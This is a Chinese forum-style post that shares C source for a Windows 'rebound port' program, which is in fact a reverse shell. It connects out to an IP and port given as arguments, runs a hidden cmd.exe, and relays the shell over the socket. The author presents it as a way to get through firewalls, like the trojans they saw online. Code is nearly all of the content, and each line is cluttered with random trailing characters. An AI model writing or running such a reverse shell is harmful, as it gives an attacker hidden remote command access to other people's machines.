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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tU%-tlU9?  
ya'@AJS  
/* ============================== /N ^%=G#  
Rebound port in Windows NT 7n~BDqT  
By wind,2006/7 $W8  
===============================*/ G1"=}Wt`  
#include D>O{>;y[  
#include F62arDA  
S{NfU/: dL  
#pragma comment(lib,"wsock32.lib") U!-|.N,  
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void OutputShell(); 1lNg} !)[K  
SOCKET sClient; 9 0[gXj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (r^IW{IndX  
 /y,~?  
void main(int argc,char **argv) t _Q/v  
{ x=qACoq  
WSADATA stWsaData; jBEt!Azur  
int nRet; 15r<n  
SOCKADDR_IN stSaiClient,stSaiServer; Nky%v+r  
F^=|NlU&%  
if(argc != 3) 3X{=* wvt  
{ MQQ!@I`  
printf("Useage:\n\rRebound DestIP DestPort\n"); h@z(yB j:0  
return; Qko}rd_M  
} f#l/N%VoBZ  
PL8eM]XS  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'B"kUh%3$5  
d& @KGJ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~`MGXd"o  
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stSaiClient.sin_family = AF_INET; x]k^JPX  
stSaiClient.sin_port = htons(0); M)#R_(Q5{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n\ma5"n0=\  
F,e_`  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O;:8mm%(  
{ %f@VOSs  
printf("Bind Socket Failed!\n"); C/[2?[  
return; Z$,1Tk"O/s  
} doxQS ohS  
8jjJ/Mz`  
stSaiServer.sin_family = AF_INET; -{ZTp8P>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r&\}E+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +gOCl*L  
KTk%N p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =? xA*_^  
{ B{|P}fN5}  
printf("Connect Error!"); c*_I1}l  
return; _-Aw`<_*-  
} ;X\>oV3#  
OutputShell(); ?/{ qRz'C<  
} xGqe )M>8?  
>U9!KB  
void OutputShell() LIVVb"V|,  
{ lE[LdmwDrb  
char szBuff[1024]; >.#uoW4ZV  
SECURITY_ATTRIBUTES stSecurityAttributes; ~]A';xH&  
OSVERSIONINFO stOsversionInfo; k-T_,1l{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DnaG$a<  
STARTUPINFO stStartupInfo; / v;g v[  
char *szShell; }{Lf 4|8  
PROCESS_INFORMATION stProcessInformation; -b(:kAwStk  
unsigned long lBytesRead; [/*85 4  
"aP>}5<h  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E+"INX7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P,~a'_w:|D  
stSecurityAttributes.lpSecurityDescriptor = 0; qEf )TW(  
stSecurityAttributes.bInheritHandle = TRUE; PF!Q2t5c3  
9GkG'  
s iv KXd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .$4DK*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'oEFNC9V  
GA6Z{U{XS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r,MgIv(L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tc\^=e^N?  
stStartupInfo.wShowWindow = SW_HIDE; S_6`.@B}  
stStartupInfo.hStdInput = hReadPipe; 7esG$sVj(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tZU"Ud  
2X)E3V/*  
GetVersionEx(&stOsversionInfo); Z[AJat@H  
E] t:_v  
switch(stOsversionInfo.dwPlatformId) J(M0t~RZ  
{ rg_-gZl8&z  
case 1: f8N  
szShell = "command.com"; _ZD)#?  
break; +B_q? 6pR  
default: c.,:r X0S  
szShell = "cmd.exe"; rQ*'2Zf'<  
break; ui70|  
} P}&7G-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |RAi6;  
ozkN&0  
send(sClient,szMsg,77,0); rgIJ]vmy<H  
while(1) J}`K&DtM9  
{ Ua V9T:)x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Nf0b?jn-  
if(lBytesRead) `Xmf4  
{ m2{z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tJ.LPgfZ  
send(sClient,szBuff,lBytesRead,0); ~@BV  
} vo uQ.utl  
else .(CzsupY_q  
{ '|4/aHU  
lBytesRead=recv(sClient,szBuff,1024,0); TR{8A^XhE8  
if(lBytesRead<=0) break; XOgX0cRC4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +5?hkQCX1^  
} D}cq_|mmn[  
} <pYGcVB9V  
U`:#+8h-}  
return; zi[bpa17W  
}
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